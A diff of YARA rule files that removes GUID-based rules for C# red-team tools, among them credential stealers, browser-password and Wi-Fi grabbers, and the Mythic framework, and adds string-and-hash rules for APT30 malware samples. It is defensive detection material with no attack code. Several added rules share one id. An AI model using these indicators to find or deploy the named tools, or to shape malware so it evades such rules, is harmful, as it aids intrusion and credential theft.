-		$typelibguid8lo = "37af4988-f6f2-4f0c-aa2b-5b24f7ed3bf3" ascii wide
-		$typelibguid8up = "37AF4988-F6F2-4F0C-AA2B-5B24F7ED3BF3" ascii wide
-		$typelibguid9lo = "c82aa2fe-3332-441f-965e-6b653e088abf" ascii wide
-		$typelibguid9up = "C82AA2FE-3332-441F-965E-6B653E088ABF" ascii wide
-		$typelibguid10lo = "6e531f6c-2c89-447f-8464-aaa96dbcdfff" ascii wide
-		$typelibguid10up = "6E531F6C-2C89-447F-8464-AAA96DBCDFFF" ascii wide
-		$typelibguid11lo = "231987a1-ea32-4087-8963-2322338f16f6" ascii wide
-		$typelibguid11up = "231987A1-EA32-4087-8963-2322338F16F6" ascii wide
-		$typelibguid12lo = "7da0d93a-a0ae-41a5-9389-42eff85bb064" ascii wide
-		$typelibguid12up = "7DA0D93A-A0AE-41A5-9389-42EFF85BB064" ascii wide
-		$typelibguid13lo = "a729f9cc-edc2-4785-9a7d-7b81bb12484c" ascii wide
-		$typelibguid13up = "A729F9CC-EDC2-4785-9A7D-7B81BB12484C" ascii wide
-		$typelibguid14lo = "55a1fd43-d23e-4d72-aadb-bbd1340a6913" ascii wide
-		$typelibguid14up = "55A1FD43-D23E-4D72-AADB-BBD1340A6913" ascii wide
-		$typelibguid15lo = "d43f240d-e7f5-43c5-9b51-d156dc7ea221" ascii wide
-		$typelibguid15up = "D43F240D-E7F5-43C5-9B51-D156DC7EA221" ascii wide
-		$typelibguid16lo = "c2e6c1a0-93b1-4bbc-98e6-8e2b3145db8e" ascii wide
-		$typelibguid16up = "C2E6C1A0-93B1-4BBC-98E6-8E2B3145DB8E" ascii wide
-		$typelibguid17lo = "714ae6f3-0d03-4023-b753-fed6a31d95c7" ascii wide
-		$typelibguid17up = "714AE6F3-0D03-4023-B753-FED6A31D95C7" ascii wide
+		$s0 = "Nkfvtyvn}" ascii
+		$s6 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Browserpass : FILE
+rule SIGNATURE_BASE_APT30_Sample_8 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "bad36c36-dbed-527c-a2f5-4dceff1abe4b"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/jabiel/BrowserPass"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4148-L4162"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "70414002857991016ebd01889d6346b32a553525e06556f5273e53753c3caccc"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5053c2db-32a9-58ae-9a72-eb16ef14168e"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L185-L201"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9531e21652143b8b129ab8c023dc05fef2a17cc3"
+		logic_hash = "bff21d517e97d2b13dff2b5ebc9a5b82b8f7635943c89f992b41d269623cd498"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "3cb59871-0dce-453b-857a-2d1e515b0b66" ascii wide
-		$typelibguid0up = "3CB59871-0DCE-453B-857A-2D1E515B0B66" ascii wide
+		$s0 = "ateProcessA" ascii
+		$s1 = "Ternel32.dllFQ" fullword ascii
+		$s2 = "StartupInfoAModuleHand" fullword ascii
+		$s3 = "OpenMutex" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Mythic : FILE
+rule SIGNATURE_BASE_APT30_Generic_B : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "44237fac-1526-5587-83a1-61d7a54f7da9"
-		date = "2020-12-29"
-		modified = "2023-04-06"
-		reference = "https://github.com/its-a-feature/Mythic"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4164-L4180"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f75bb7695d0de67f562e1c1d7505e0f13e9192ccd7bf6f2128897f4a871430be"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "df3b8896-7229-5b3b-ad2f-774b0cea167c"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L203-L222"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "527c823607836f138369224b7d8d492d36d9ab7a150e64fd5ebbaf99538d6d53"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0fcb4ffe2eb391421ec876286c9ddb6c"
+		hash2 = "29395c528693b69233c1c12bef8a64b3"
+		hash3 = "4c6b21e98ca03e0ef0910e07cef45dac"
+		hash4 = "550459b31d8dabaad1923565b7e50242"
+		hash5 = "65232a8d555d7c4f7bc0d7c5da08c593"
+		hash6 = "853a20f5fc6d16202828df132c41a061"
+		hash7 = "ed151602dea80f39173c2f7b1dd58e06"
 
 	strings:
-		$typelibguid0lo = "91f7a9da-f045-4239-a1e9-487ffdd65986" ascii wide
-		$typelibguid0up = "91F7A9DA-F045-4239-A1E9-487FFDD65986" ascii wide
-		$typelibguid1lo = "0405205c-c2a0-4f9a-a221-48b5c70df3b6" ascii wide
-		$typelibguid1up = "0405205C-C2A0-4F9A-A221-48B5C70DF3B6" ascii wide
+		$s2 = "Moziea/4.0" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Nuages : FILE
+rule SIGNATURE_BASE_APT30_Generic_I : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5ad947e2-bd71-50d4-9bbf-4d018c7ff36a"
-		date = "2020-12-29"
-		modified = "2023-04-06"
-		reference = "https://github.com/p3nt4/Nuages"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4182-L4196"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cf417eb45867b6fe77cf229688b3c210814a902949840ed946a9d9cff8c8a3d7"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "55046e1a-731a-5418-9a7a-4fe1611c77d0"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L224-L240"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e6f0edcbf6e0590c8b4a558142053d5938e86d13d65787f02336dc2a173d5963"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fe211c7a081c1dac46e3935f7c614549"
+		hash2 = "8c9db773d387bf9b3f2b6a532e4c937c"
 
 	strings:
-		$typelibguid0lo = "e9e80ac7-4c13-45bd-9bde-ca89aadf1294" ascii wide
-		$typelibguid0up = "E9E80AC7-4C13-45BD-9BDE-CA89AADF1294" ascii wide
+		$s0 = "Copyright 2012 Google Inc. All rights reserved." fullword wide
+		$s1 = "(Prxy%c-%s:%u)" fullword ascii
+		$s2 = "Google Inc." fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsniper : FILE
+rule SIGNATURE_BASE_APT30_Sample_9 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "14e6a3b8-5e1f-5dd8-9b51-22522ac317e7"
-		date = "2020-12-29"
-		modified = "2023-04-06"
-		reference = "https://github.com/HunnicCyber/SharpSniper"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4198-L4212"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5c2c67c24a8ad6ecfac03e9f5bad0731883503d974bf7a0ab313e31c30190fb5"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bf24bb57-aff9-579c-b8a2-265a6d2a06d0"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L242-L263"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "442bf8690401a2087a340ce4a48151c39101652f"
+		logic_hash = "0c5465bdafcbca02f855a0cba1fbb4c19d8d21b714dbe777b942dcd1a7acb257"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "c8bb840c-04ce-4b60-a734-faf15abf7b18" ascii wide
-		$typelibguid0up = "C8BB840C-04CE-4B60-A734-FAF15ABF7B18" ascii wide
+		$s0 = "\\Windo" ascii
+		$s2 = "oHHOSTR" ascii
+		$s3 = "Softwa]\\Mic" ascii
+		$s4 = "Startup'T" ascii
+		$s6 = "Ora\\%^" ascii
+		$s7 = "\\Ohttp=r" ascii
+		$s17 = "help32Snapshot0L" ascii
+		$s18 = "TimUmoveH" ascii
+		$s20 = "WideChc[lobalAl" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharphound3 : FILE
+rule SIGNATURE_BASE_APT30_Sample_10 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "58001912-88a1-527d-9d3e-d7c376a1fce4"
-		date = "2020-12-29"
-		modified = "2023-04-06"
-		reference = "https://github.com/BloodHoundAD/SharpHound3"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4214-L4228"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0350505aa796cccc56092fb835269c5aad6de0096bbfc5d1608113e11827951a"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L264-L283"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "eb518cda3c4f4e6938aaaee07f1f7db8ee91c901"
+		logic_hash = "5a6bd8223fbce133bd11b903edfd7f8ff5a436e26a47c048a5ac606ad4a0b564"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "a517a8de-5834-411d-abda-2d0e1766539c" ascii wide
-		$typelibguid0up = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii wide
+		$s0 = "Version 4.7.3001" fullword wide
+		$s1 = "Copyright (c) Microsoft Corporation 2004" fullword wide
+		$s2 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the U" wide
+		$s3 = "!! Use Connect Method !!" fullword ascii
+		$s4 = "(Prxy%c-%s:%u)" fullword ascii
+		$s5 = "msmsgs" fullword wide
+		$s18 = "(Prxy-No)" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Blocketw : FILE
+rule SIGNATURE_BASE_APT30_Sample_11 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "c2b72fef-6549-5b53-8ccf-232e8d152e96"
-		date = "2020-12-29"
-		modified = "2023-04-06"
-		reference = "https://github.com/Soledge/BlockEtw"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4230-L4244"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4670091775772f66e82dd7c78ac8f307d301ce849424dabcaf495c46cd737d7f"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L285-L312"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "59066d5d1ee3ad918111ed6fcaf8513537ff49a6"
+		logic_hash = "5e86b53591caa7c783a946205a3d04f91c71294d844e6f6ee88c3bc78e603ea0"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "daedf7b3-8262-4892-adc4-425dd5f85bca" ascii wide
-		$typelibguid0up = "DAEDF7B3-8262-4892-ADC4-425DD5F85BCA" ascii wide
+		$s0 = "System\\CurrentControlSet\\control\\ComputerName\\ComputerName" fullword ascii
+		$s1 = "msofscan.exe" fullword wide
+		$s2 = "Mozilla/4.0 (compatible; MSIE 5.0; Win32)" fullword ascii
+		$s3 = "Microsoft? is a registered trademark of Microsoft Corporation." fullword wide
+		$s4 = "Windows XP Professional x64 Edition or Windows Server 2003" fullword ascii
+		$s9 = "NetEagle_Scout - " fullword ascii
+		$s10 = "Server 4.0, Enterprise Edition" fullword ascii
+		$s11 = "Windows 3.1(Win32s)" fullword ascii
+		$s12 = "%s%s%s %s" fullword ascii
+		$s13 = "Server 4.0" fullword ascii
+		$s15 = "Windows Millennium Edition" fullword ascii
+		$s16 = "msofscan" fullword wide
+		$s17 = "Eagle-Norton360-OfficeScan" fullword ascii
+		$s18 = "Workstation 4.0" fullword ascii
+		$s19 = "2003 Microsoft Office system" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <250KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwifigrabber : FILE
+rule SIGNATURE_BASE_APT30_Sample_12 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "1a457672-743c-56f0-a4d7-6c25f9ce2345"
-		date = "2020-12-29"
-		modified = "2023-04-06"
-		reference = "https://github.com/r3nhat/SharpWifiGrabber"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4246-L4260"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1924847602c4075779697f8b74dee48738f2a4e7852b2431c128e677f6c04407"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L314-L329"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b02b5720ff0f73f01eb2ba029a58b645c987c4bc"
+		logic_hash = "997c91267f956bd7d2a7edca9817ebc80bbf1eed944b3bc01cc8bb01927deb1e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "c0997698-2b73-4982-b25b-d0578d1323c2" ascii wide
-		$typelibguid0up = "C0997698-2B73-4982-B25B-D0578D1323C2" ascii wide
+		$s0 = "Richic" fullword ascii
+		$s1 = "Accept: image/gif, */*" fullword ascii
+		$s2 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <250KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpmapexec : FILE
+rule SIGNATURE_BASE_APT30_Sample_13 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b4922734-a486-5c4d-9bd7-5146cfecbf01"
-		date = "2020-12-29"
-		modified = "2023-04-06"
-		reference = "https://github.com/cube0x0/SharpMapExec"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4262-L4276"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "49055d7159cf93e99b8e4ac53c29a66952955fa10457e7beca8e5e0277acec36"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L331-L349"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a359f705a833c4a4254443b87645fd579aa94bcf"
+		logic_hash = "cd5285e8b78493b64704cec21c13d0a017d66936aa8356cfea2aa77c6f87b9e7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "bd5220f7-e1fb-41d2-91ec-e4c50c6e9b9f" ascii wide
-		$typelibguid0up = "BD5220F7-E1FB-41D2-91EC-E4C50C6E9B9F" ascii wide
+		$s0 = "msofscan.exe" fullword wide
+		$s1 = "Microsoft? is a registered trademark of Microsoft Corporation." fullword wide
+		$s2 = "Microsoft Office Word Plugin Scan" fullword wide
+		$s3 = "? 2006 Microsoft Corporation.  All rights reserved." fullword wide
+		$s4 = "msofscan" fullword wide
+		$s6 = "2003 Microsoft Office system" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_K8Fly : FILE
+rule SIGNATURE_BASE_APT30_Sample_14 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3421e6fb-df65-5e2e-ae46-37f9c763c6a1"
-		date = "2020-12-29"
-		modified = "2023-04-06"
-		reference = "https://github.com/zzwlpx/k8fly"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4278-L4292"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "16e9707f017aedf412ec98a466ec945e630ec1e294ee97e52a918d54be93db91"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L351-L367"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b0740175d20eab79a5d62cdbe0ee1a89212a8472"
+		logic_hash = "e5f352b1aa643b9508c01bbe921197ebd8992ec94036b869c55970f0177164d3"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "13b6c843-f3d4-4585-b4f3-e2672a47931e" ascii wide
-		$typelibguid0up = "13B6C843-F3D4-4585-B4F3-E2672A47931E" ascii wide
+		$s0 = "AdobeReader.exe" fullword wide
+		$s4 = "10.1.7.27" fullword wide
+		$s5 = "Copyright 1984-2012 Adobe Systems Incorporated and its licensors. All ri" wide
+		$s8 = "Adobe Reader" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Stealer : FILE
+rule SIGNATURE_BASE_APT30_Sample_15 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "c721a0ac-e898-52aa-9bdf-a19bc0bd783d"
-		date = "2020-12-29"
-		modified = "2023-04-06"
-		reference = "https://github.com/malwares/Stealer"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4294-L4312"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "541836ece736557383d209a424a0fa9fb9df69a669d8f1cf8d1bdb41bd27af57"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L369-L387"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7a8576804a2bbe4e5d05d1718f90b6a4332df027"
+		logic_hash = "5179f39bdcb064f55479ad147a019dd0b3874783c6bad650e84cfd9d0430bb70"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "8fcd4931-91a2-4e18-849b-70de34ab75df" ascii wide
-		$typelibguid0up = "8FCD4931-91A2-4E18-849B-70DE34AB75DF" ascii wide
-		$typelibguid1lo = "e48811ca-8af8-4e73-85dd-2045b9cca73a" ascii wide
-		$typelibguid1up = "E48811CA-8AF8-4E73-85DD-2045B9CCA73A" ascii wide
-		$typelibguid2lo = "d3d8a1cc-e123-4905-b3de-374749122fcf" ascii wide
-		$typelibguid2up = "D3D8A1CC-E123-4905-B3DE-374749122FCF" ascii wide
+		$s0 = "\\Windo" ascii
+		$s2 = "HHOSTR" ascii
+		$s3 = "Softwa]\\Mic" ascii
+		$s4 = "Startup'T" fullword ascii
+		$s17 = "help32Snapshot0L" fullword ascii
+		$s18 = "TimUmoveH" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Porttran : FILE
+rule SIGNATURE_BASE_APT30_Sample_16 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "844e58a2-54f5-51e8-8176-6a478a136603"
-		date = "2020-12-29"
-		modified = "2023-04-06"
-		reference = "https://github.com/k8gege/PortTran"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4314-L4330"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9dda69710b7ff29e34181d694a4922f0da27e1959dd72031ac630a4851a48c62"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L389-L407"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "066d06ac08b48d3382d46bbeda6ad411b6d6130e"
+		logic_hash = "59ea90ac0590bd87a48fabf1a3fa7ece31560b980b738a34227937bbf82a1c55"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "3a074374-77e8-4312-8746-37f3cb00e82c" ascii wide
-		$typelibguid0up = "3A074374-77E8-4312-8746-37F3CB00E82C" ascii wide
-		$typelibguid1lo = "67a73bac-f59d-4227-9220-e20a2ef42782" ascii wide
-		$typelibguid1up = "67A73BAC-F59D-4227-9220-E20A2EF42782" ascii wide
+		$s0 = "\\Temp1020.txt" ascii
+		$s1 = "cmcbqyjs" fullword ascii
+		$s2 = "SPVSWh\\" fullword ascii
+		$s4 = "PSShxw@" fullword ascii
+		$s5 = "VWhHw@" fullword ascii
+		$s7 = "SVWhHw@" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
